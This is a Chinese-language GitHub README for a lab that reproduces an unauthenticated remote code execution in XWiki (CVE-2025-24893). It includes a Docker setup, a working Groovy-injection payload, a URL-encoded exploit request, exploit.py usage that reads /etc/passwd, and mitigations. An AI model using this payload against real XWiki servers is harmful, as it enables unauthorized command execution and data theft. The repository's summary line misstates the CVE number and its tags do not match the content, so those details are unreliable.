endusdksla/xwiki-cve-2025-24893
GitHub: endusdksla/xwiki-cve-2025-24893
该项目复现了 XWiki Platform 的未授权远程代码执行漏洞(CVE-2025-93),提供完整的 Docker 漏洞环境和利用脚本。
Stars: 0 | Forks: 0
# XWiki SolrSearch 未授权 RCE (CVE-2025-24893)
## 摘要
- XWiki 在服务器端解析 Wiki 语法和宏来进行渲染。问题在于 `Main.SolrSearch` 页面对访客开放,并且在没有对用户输入的 `text` 参数进行充分验证的情况下,直接将其作为 XWiki 语法进行评估。
- 攻击者可以在 `text` 中插入 `{{groovy}}` 宏,从而在服务器上执行任意的 Groovy 代码,并通过 `"command".execute()` 调用操作系统命令。该漏洞无需登录或 token,只需发送单个 GET 请求即可被利用。
## 环境配置
本目录使用官方 XWiki standalone 发行版 `15.10.1` 和 Java 17 运行时来构建漏洞环境。
| 项目 | 内容 |
|---|---|
| CVE | `CVE-2025-24893` |
| 产品 | XWiki Platform |
| 受影响版本 | `>= 5.3-milestone-2, < 15.10.11` / `>= 16.0.0-rc-1, < 16.4.1` |
| 补丁版本 | `15.10.11`, `16.4.1` |
| 漏洞类型 | Eval Injection -> 未授权 RCE |
| 是否需要身份验证 | 否 |
| 影响 | 可能导致服务器命令执行 |
## 漏洞条件
- XWiki 版本必须是修补之前的版本。
- `Main.SolrSearch` endpoint 必须允许访客访问。
- 服务器必须能够将 `text` 参数作为 XWiki 语法进行评估。
- `groovy` 宏必须处于可执行状态。
本环境使用的是 XWiki `15.10.1`,因此满足上述条件。
## 复现步骤
```
docker compose up -d --build
```
初次运行时会进行自动安装,因此可能需要几分钟的时间。(大约需要 6~7 分钟)
```
docker compose ps
docker inspect -f '{{json .State.Health}}' xwiki-web
```
当上述命令的结果显示为 `"Status":"healthy"` 时,说明环境配置已完成,处于可进行 exploit 的状态。
```
pip install requests
```
在运行 exploit.py 之前,请先安装依赖项。
## PoC 代码
核心 payload 如下所示。
```
}}}{{async async=false}}{{groovy}}println("id".execute().text){{/groovy}}{{/async}}
```
上述 payload 被插入到 `text` 参数中,并在 `Main.SolrSearch` 页面进行评估。结果是 `println("id".execute().text)` 在服务器上被执行,命令执行的结果会反射到 RSS 响应正文中。
完整的执行脚本请参考 [exploit.py](./exploit.py)。
```
python3 exploit.py
```
通过运行上述 Python 代码即可复现 PoC。默认执行的命令是 id。
```
python3 exploit.py -c "cat /etc/passwd"
```
如果要执行其他命令,可以像上面那样传递参数。
或者直接发送 URL 请求即可。(输出 id 的 payload)
```
http://localhost:1337/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync+async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22id%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
```
## 执行结果

将 id 作为响应返回的结果

查看当前目录的文件
## 缓解措施
- 将 XWiki 更新至 `15.10.11` 或 `16.4.1` 及以上版本。
- 检查暴露在外部环境中的 XWiki 实例的访客访问策略。
- 尽量减少不必要的脚本/宏执行权限。
- 监控可疑请求及 `SolrSearch` 的访问日志。
## 参考
- NVD:
- GitHub Advisory:
标签:Go语言工具, JS文件枚举, XWiki, 漏洞验证环境, 编程工具, 请求拦截, 远程代码执行, 逆向工具